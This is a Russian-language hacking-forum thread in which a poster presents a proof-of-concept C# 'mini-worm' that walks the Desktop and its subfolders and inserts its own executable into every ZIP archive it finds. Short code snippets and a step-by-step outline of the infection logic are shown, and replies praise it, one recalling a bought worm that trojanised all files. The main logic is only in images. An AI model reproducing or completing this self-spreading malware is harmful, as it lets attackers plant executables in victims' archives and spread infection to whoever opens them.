• Добро пожаловать на сайт - Forumteam.wiki !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Заражаем ZIP архивы [C#, PoC]

Chollongarn

Публикатор
Команда форума
Регистрация
13.07.19
Сообщения
1.738
Реакции
453
Баллы
1.200
FTC
11¢
Привет, скрипт-кидди брат. Сегодня я покажу тебе Proof-Of-Concept мини-червя, который добавляет себя во все .zip архивы.

Начнём.

Логика нашего червя:

  • Ищем все zip файлы в папке
  • Добавляем своё отродье в архив
  • Повторяем тоже самое со всеми файлами. (рекурсией)
Первым делом создадим новый метод, который будет принимать 2 аргумента - папку для заражения и файл, который будем добавлять в архив:

432772cda42b.png


И создаём рекурсивный метод, который будет заражать все подпапки:

5d2fa98661eb.png


C#:
    string currentFilePath = Assembly.GetExecutingAssembly().Location,

                      desktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

Затем вызываем методы:

C#:
    zipInfect(new DirectoryInfo(desktopPath), currentFilePath); // Заражаем архивы на рабочем столе

               recursiveInfect(desktopPath, currentFilePath); // И в подпапках

И теперь тестим:

09ffdaf830b4.png

4068e93e92e9.png


Как видим, в архивах появился наш файлик.
 

Milkomi

Пользователь на проверке
На проверке
Регистрация
01.07.21
Сообщения
4
Реакции
0
Баллы
23
FTC
10¢

PurpleRain

Проявляет активность
Местный
Регистрация
03.08.21
Сообщения
140
Реакции
46
Баллы
165
FTC
Качественный контент подьехал
Луйк
 

Amazon

Модератор
Команда форума
Регистрация
31.03.18
Сообщения
1.043
Реакции
619
Баллы
1.200
FTC
-1.003.344¢
Помню 1 время, купил себе червя, который троянил все файлы и все проги, прикольная вещь была, но автор забросил свое творение..
 

Sobakafon229

Пользователь на проверке
На проверке
Регистрация
06.10.21
Сообщения
1
Реакции
0
Баллы
6
FTC
10¢

myaso

Бывалый
Бывалый
Регистрация
16.10.21
Сообщения
46
Реакции
6
Баллы
75
FTC
  • Заблокирован
  • #6
Обратите внимание, если вы планируете совершить сделку с этим пользователем, он заблокирован.
Спасибочки :diablo:
 
Сверху Снизу